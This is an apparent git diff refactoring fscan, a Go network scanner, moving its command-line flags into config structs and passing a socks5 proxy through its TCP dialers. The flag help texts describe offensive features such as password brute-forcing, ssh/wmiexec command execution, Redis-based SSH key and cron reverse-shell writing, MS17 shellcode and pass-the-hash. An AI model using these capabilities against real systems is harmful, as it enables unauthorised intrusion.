|
||||||
RedisShell string
|
|
||||||
Userfile string
|
|
||||||
Passfile string
|
|
||||||
HostFile string
|
|
||||||
PortFile string
|
|
||||||
PocPath string
|
|
||||||
Threads int
|
|
||||||
URL string
|
|
||||||
UrlFile string
|
|
||||||
Urls []string
|
|
||||||
NoPorts string
|
|
||||||
NoHosts string
|
|
||||||
SC string
|
|
||||||
PortAdd string
|
|
||||||
UserAdd string
|
|
||||||
PassAdd string
|
|
||||||
BruteThread int
|
|
||||||
LiveTop int
|
|
||||||
Socks5Proxy string
|
|
||||||
Hash string
|
|
||||||
HashBytes []byte
|
|
||||||
HostPort []string
|
|
||||||
IsWmi bool
|
|
||||||
)
|
|
||||||
|
|
||||||
var (
|
|
||||||
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
|
|
||||||
Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
|
|
||||||
DnsLog bool
|
|
||||||
PocNum int
|
|
||||||
PocFull bool
|
|
||||||
CeyeDomain string
|
|
||||||
ApiKey string
|
|
||||||
Cookie string
|
|
||||||
)
|
)
|
||||||
|
176
common/flag.go
176
common/flag.go
@ -2,84 +2,118 @@ package common
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"flag"
|
"flag"
|
||||||
"runtime"
|
|
||||||
"runtime/debug"
|
|
||||||
"time"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
func init() {
|
// todo make function
|
||||||
go func() {
|
type Flags struct {
|
||||||
for {
|
Path string
|
||||||
GC()
|
Scantype string
|
||||||
time.Sleep(10 * time.Second)
|
Command string
|
||||||
}
|
SshKey string
|
||||||
}()
|
Domain string
|
||||||
|
Username string
|
||||||
|
Password string
|
||||||
|
Proxy string
|
||||||
|
Timeout int64
|
||||||
|
WebTimeout int64
|
||||||
|
NoPing bool
|
||||||
|
Ping bool
|
||||||
|
Pocinfo PocInfo
|
||||||
|
IsWebCan bool
|
||||||
|
IsBrute bool
|
||||||
|
RedisFile string
|
||||||
|
RedisShell string
|
||||||
|
Userfile string
|
||||||
|
Passfile string
|
||||||
|
HostFile string
|
||||||
|
PortFile string
|
||||||
|
PocPath string
|
||||||
|
Threads int
|
||||||
|
URL string
|
||||||
|
UrlFile string
|
||||||
|
Urls []string
|
||||||
|
NoPorts string
|
||||||
|
NoHosts string
|
||||||
|
SC string
|
||||||
|
PortAdd string
|
||||||
|
UserAdd string
|
||||||
|
PassAdd string
|
||||||
|
BruteThread int
|
||||||
|
LiveTop int
|
||||||
|
Socks5Proxy string
|
||||||
|
Hash string
|
||||||
|
HashBytes []byte
|
||||||
|
IsWmi bool
|
||||||
|
PocNum int
|
||||||
|
PocFull bool
|
||||||
|
DnsLog bool
|
||||||
}
|
}
|
||||||
|
|
||||||
func GC() {
|
// todo make function
|
||||||
runtime.GC()
|
type LogConfig struct {
|
||||||
debug.FreeOSMemory()
|
Silent bool
|
||||||
|
Outputfile string
|
||||||
|
TmpSave bool
|
||||||
|
WaitTime int64
|
||||||
}
|
}
|
||||||
|
|
||||||
func Banner() {
|
type InConfig struct {
|
||||||
banner := `
|
HostInfo HostInfo
|
||||||
___ _
|
Flags Flags
|
||||||
/ _ \ ___ ___ _ __ __ _ ___| | __
|
LogConfig LogConfig
|
||||||
/ /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ /
|
Cookie string
|
||||||
/ /_\\_____\__ \ (__| | | (_| | (__| <
|
|
||||||
\____/ |___/\___|_| \__,_|\___|_|\_\
|
|
||||||
fscan version: ` + version + `
|
|
||||||
`
|
|
||||||
print(banner)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func Flag(Info *HostInfo) {
|
func Flag(inConfig *InConfig) {
|
||||||
Banner()
|
flag.StringVar(&inConfig.HostInfo.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
|
||||||
flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
|
flag.StringVar(&inConfig.HostInfo.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
|
||||||
flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24")
|
|
||||||
flag.StringVar(&Info.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
|
flag.StringVar(&inConfig.Flags.NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24")
|
||||||
flag.StringVar(&PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389")
|
flag.StringVar(&inConfig.Flags.PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389")
|
||||||
flag.StringVar(&UserAdd, "usera", "", "add a user base DefaultUsers,-usera user")
|
flag.StringVar(&inConfig.Flags.UserAdd, "usera", "", "add a user base DefaultUsers,-usera user")
|
||||||
flag.StringVar(&PassAdd, "pwda", "", "add a password base DefaultPasses,-pwda password")
|
flag.StringVar(&inConfig.Flags.PassAdd, "pwda", "", "add a password base DefaultPasses,-pwda password")
|
||||||
flag.StringVar(&NoPorts, "pn", "", "the ports no scan,as: -pn 445")
|
flag.StringVar(&inConfig.Flags.NoPorts, "pn", "", "the ports no scan,as: -pn 445")
|
||||||
flag.StringVar(&Command, "c", "", "exec command (ssh|wmiexec)")
|
flag.StringVar(&inConfig.Flags.Command, "c", "", "exec command (ssh|wmiexec)")
|
||||||
flag.StringVar(&SshKey, "sshkey", "", "sshkey file (id_rsa)")
|
flag.StringVar(&inConfig.Flags.SshKey, "sshkey", "", "sshkey file (id_rsa)")
|
||||||
flag.StringVar(&Domain, "domain", "", "smb domain")
|
flag.StringVar(&inConfig.Flags.Domain, "domain", "", "smb domain")
|
||||||
flag.StringVar(&Username, "user", "", "username")
|
flag.StringVar(&inConfig.Flags.Username, "user", "", "username")
|
||||||
flag.StringVar(&Password, "pwd", "", "password")
|
flag.StringVar(&inConfig.Flags.Password, "pwd", "", "password")
|
||||||
flag.Int64Var(&Timeout, "time", 3, "Set timeout")
|
flag.Int64Var(&inConfig.Flags.Timeout, "time", 3, "Set timeout")
|
||||||
flag.StringVar(&Scantype, "m", "all", "Select scan type ,as: -m ssh")
|
flag.Int64Var(&inConfig.Flags.WebTimeout, "wt", 5, "Set web timeout")
|
||||||
flag.StringVar(&Path, "path", "", "fcgi、smb romote file path")
|
flag.StringVar(&inConfig.Flags.Scantype, "m", "all", "Select scan type ,as: -m ssh")
|
||||||
flag.IntVar(&Threads, "t", 600, "Thread nums")
|
flag.StringVar(&inConfig.Flags.Path, "path", "", "fcgi、smb romote file path")
|
||||||
flag.IntVar(&LiveTop, "top", 10, "show live len top")
|
flag.IntVar(&inConfig.Flags.Threads, "t", 600, "Thread nums")
|
||||||
flag.StringVar(&HostFile, "hf", "", "host file, -hf ip.txt")
|
flag.IntVar(&inConfig.Flags.LiveTop, "top", 10, "show live len top")
|
||||||
flag.StringVar(&Userfile, "userf", "", "username file")
|
flag.StringVar(&inConfig.Flags.HostFile, "hf", "", "host file, -hf ip.txt")
|
||||||
flag.StringVar(&Passfile, "pwdf", "", "password file")
|
flag.StringVar(&inConfig.Flags.Userfile, "userf", "", "username file")
|
||||||
flag.StringVar(&PortFile, "portf", "", "Port File")
|
flag.StringVar(&inConfig.Flags.Passfile, "pwdf", "", "password file")
|
||||||
flag.StringVar(&PocPath, "pocpath", "", "poc file path")
|
flag.StringVar(&inConfig.Flags.PortFile, "portf", "", "Port File")
|
||||||
flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub)")
|
flag.StringVar(&inConfig.Flags.PocPath, "pocpath", "", "poc file path")
|
||||||
flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666)")
|
flag.StringVar(&inConfig.Flags.RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub)")
|
||||||
flag.BoolVar(&IsWebCan, "nopoc", false, "not to scan web vul")
|
flag.StringVar(&inConfig.Flags.RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666)")
|
||||||
flag.BoolVar(&IsBrute, "nobr", false, "not to Brute password")
|
flag.BoolVar(&inConfig.Flags.IsWebCan, "nopoc", false, "not to scan web vul")
|
||||||
flag.IntVar(&BruteThread, "br", 1, "Brute threads")
|
flag.BoolVar(&inConfig.Flags.IsBrute, "nobr", false, "not to Brute password")
|
||||||
flag.BoolVar(&NoPing, "np", false, "not to ping")
|
flag.IntVar(&inConfig.Flags.BruteThread, "br", 1, "Brute threads")
|
||||||
flag.BoolVar(&Ping, "ping", false, "using ping replace icmp")
|
flag.BoolVar(&inConfig.Flags.NoPing, "np", false, "not to ping")
|
||||||
flag.StringVar(&Outputfile, "o", "result.txt", "Outputfile")
|
flag.BoolVar(&inConfig.Flags.Ping, "ping", false, "using ping replace icmp")
|
||||||
flag.BoolVar(&TmpSave, "no", false, "not to save output log")
|
flag.StringVar(&inConfig.Flags.URL, "u", "", "url")
|
||||||
flag.Int64Var(&WaitTime, "debug", 60, "every time to LogErr")
|
flag.StringVar(&inConfig.Flags.UrlFile, "uf", "", "urlfile")
|
||||||
flag.BoolVar(&Silent, "silent", false, "silent scan")
|
flag.StringVar(&inConfig.Flags.Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic")
|
||||||
flag.BoolVar(&PocFull, "full", false, "poc full scan,as: shiro 100 key")
|
flag.IntVar(&inConfig.Flags.PocNum, "num", 20, "poc rate")
|
||||||
flag.StringVar(&URL, "u", "", "url")
|
flag.StringVar(&inConfig.Flags.Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080")
|
||||||
flag.StringVar(&UrlFile, "uf", "", "urlfile")
|
flag.StringVar(&inConfig.Flags.Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work")
|
||||||
flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic")
|
flag.StringVar(&inConfig.Flags.SC, "sc", "", "ms17 shellcode,as -sc add")
|
||||||
flag.StringVar(&Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080")
|
flag.BoolVar(&inConfig.Flags.IsWmi, "wmi", false, "start wmi")
|
||||||
flag.StringVar(&Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work")
|
flag.StringVar(&inConfig.Flags.Hash, "hash", "", "hash")
|
||||||
flag.StringVar(&Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login")
|
flag.BoolVar(&inConfig.Flags.PocFull, "full", false, "poc full scan,as: shiro 100 key")
|
||||||
flag.Int64Var(&WebTimeout, "wt", 5, "Set web timeout")
|
flag.BoolVar(&inConfig.Flags.DnsLog, "dns", false, "using dnslog poc")
|
||||||
flag.BoolVar(&DnsLog, "dns", false, "using dnslog poc")
|
|
||||||
flag.IntVar(&PocNum, "num", 20, "poc rate")
|
flag.StringVar(&inConfig.LogConfig.Outputfile, "o", "result.txt", "Outputfile")
|
||||||
flag.StringVar(&SC, "sc", "", "ms17 shellcode,as -sc add")
|
flag.BoolVar(&inConfig.LogConfig.TmpSave, "no", false, "not to save output log")
|
||||||
flag.BoolVar(&IsWmi, "wmi", false, "start wmi")
|
flag.Int64Var(&inConfig.LogConfig.WaitTime, "debug", 60, "every time to LogErr")
|
||||||
flag.StringVar(&Hash, "hash", "", "hash")
|
flag.BoolVar(&inConfig.LogConfig.Silent, "silent", false, "silent scan")
|
||||||
|
|
||||||
|
flag.StringVar(&inConfig.Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login")
|
||||||
|
|
||||||
flag.Parse()
|
flag.Parse()
|
||||||
}
|
}
|
||||||
|
@ -2,11 +2,12 @@ package common
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/fatih/color"
|
|
||||||
"os"
|
"os"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/fatih/color"
|
||||||
)
|
)
|
||||||
|
|
||||||
var Num int64
|
var Num int64
|
||||||
@ -18,6 +19,7 @@ var LogErrTime int64
|
|||||||
var WaitTime int64
|
var WaitTime int64
|
||||||
var Silent bool
|
var Silent bool
|
||||||
var LogWG sync.WaitGroup
|
var LogWG sync.WaitGroup
|
||||||
|
var Outputfile string
|
||||||
|
|
||||||
func init() {
|
func init() {
|
||||||
LogSucTime = time.Now().Unix()
|
LogSucTime = time.Now().Unix()
|
||||||
|
@ -2,43 +2,47 @@ package common
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"errors"
|
"errors"
|
||||||
"golang.org/x/net/proxy"
|
|
||||||
"net"
|
"net"
|
||||||
"net/url"
|
"net/url"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"golang.org/x/net/proxy"
|
||||||
)
|
)
|
||||||
|
|
||||||
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
|
type Socks5 struct {
|
||||||
d := &net.Dialer{Timeout: timeout}
|
Address string
|
||||||
return WrapperTCP(network, address, d)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func WrapperTCP(network, address string,forward * net.Dialer) (net.Conn, error) {
|
func WrapperTcpWithTimeout(network, address string, socks5Proxy Socks5, timeout time.Duration) (net.Conn, error) {
|
||||||
|
d := &net.Dialer{Timeout: timeout}
|
||||||
|
return WrapperTCP(network, address, socks5Proxy, d)
|
||||||
|
}
|
||||||
|
|
||||||
|
func WrapperTCP(network, address string, socks5Proxy Socks5, forward *net.Dialer) (net.Conn, error) {
|
||||||
//get conn
|
//get conn
|
||||||
var conn net.Conn
|
var conn net.Conn
|
||||||
if Socks5Proxy == "" {
|
if socks5Proxy.Address == "" {
|
||||||
var err error
|
var err error
|
||||||
conn,err = forward.Dial(network, address)
|
conn, err = forward.Dial(network, address)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
}else {
|
} else {
|
||||||
dailer, err := Socks5Dailer(forward)
|
dailer, err := Socks5Dailer(forward, socks5Proxy)
|
||||||
if err != nil{
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
conn,err = dailer.Dial(network, address)
|
conn, err = dailer.Dial(network, address)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return conn, nil
|
return conn, nil
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func Socks5Dailer(forward * net.Dialer) (proxy.Dialer, error) {
|
func Socks5Dailer(forward *net.Dialer, socks5Proxy Socks5) (proxy.Dialer, error) {
|
||||||
u,err := url.Parse(Socks5Proxy)
|
u, err := url.Parse(socks5Proxy.Address)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
@ -51,10 +55,10 @@ func Socks5Dailer(forward * net.Dialer) (proxy.Dialer, error) {
|
|||||||
if u.User.String() != "" {
|
if u.User.String() != "" {
|
||||||
auth = proxy.Auth{}
|
auth = proxy.Auth{}
|
||||||
auth.User = u.User.Username()
|
auth.User = u.User.Username()
|
||||||
password,_ := u.User.Password()
|
password, _ := u.User.Password()
|
||||||
auth.Password = password
|
auth.Password = password
|
||||||
dailer, err = proxy.SOCKS5("tcp", address, &auth, forward)
|
dailer, err = proxy.SOCKS5("tcp", address, &auth, forward)
|
||||||
}else {
|
} else {
|
||||||
dailer, err = proxy.SOCKS5("tcp", address, nil, forward)
|
dailer, err = proxy.SOCKS5("tcp", address, nil, forward)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
11
main.go
11
main.go
@ -2,17 +2,18 @@ package main
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"time"
|
||||||
|
|
||||||
"github.com/shadow1ng/fscan/Plugins"
|
"github.com/shadow1ng/fscan/Plugins"
|
||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
"time"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
start := time.Now()
|
start := time.Now()
|
||||||
var Info common.HostInfo
|
var config common.InConfig
|
||||||
common.Flag(&Info)
|
common.Flag(&config)
|
||||||
common.Parse(&Info)
|
common.Parse(&config)
|
||||||
Plugins.Scan(Info)
|
Plugins.Scan(config.HostInfo, config.Flags)
|
||||||
t := time.Now().Sub(start)
|
t := time.Now().Sub(start)
|
||||||
fmt.Printf("[*] 扫描结束,耗时: %s\n", t)
|
fmt.Printf("[*] 扫描结束,耗时: %s\n", t)
|
||||||
}
|
}
|
||||||
|
Loading…
Reference in New Issue
Block a user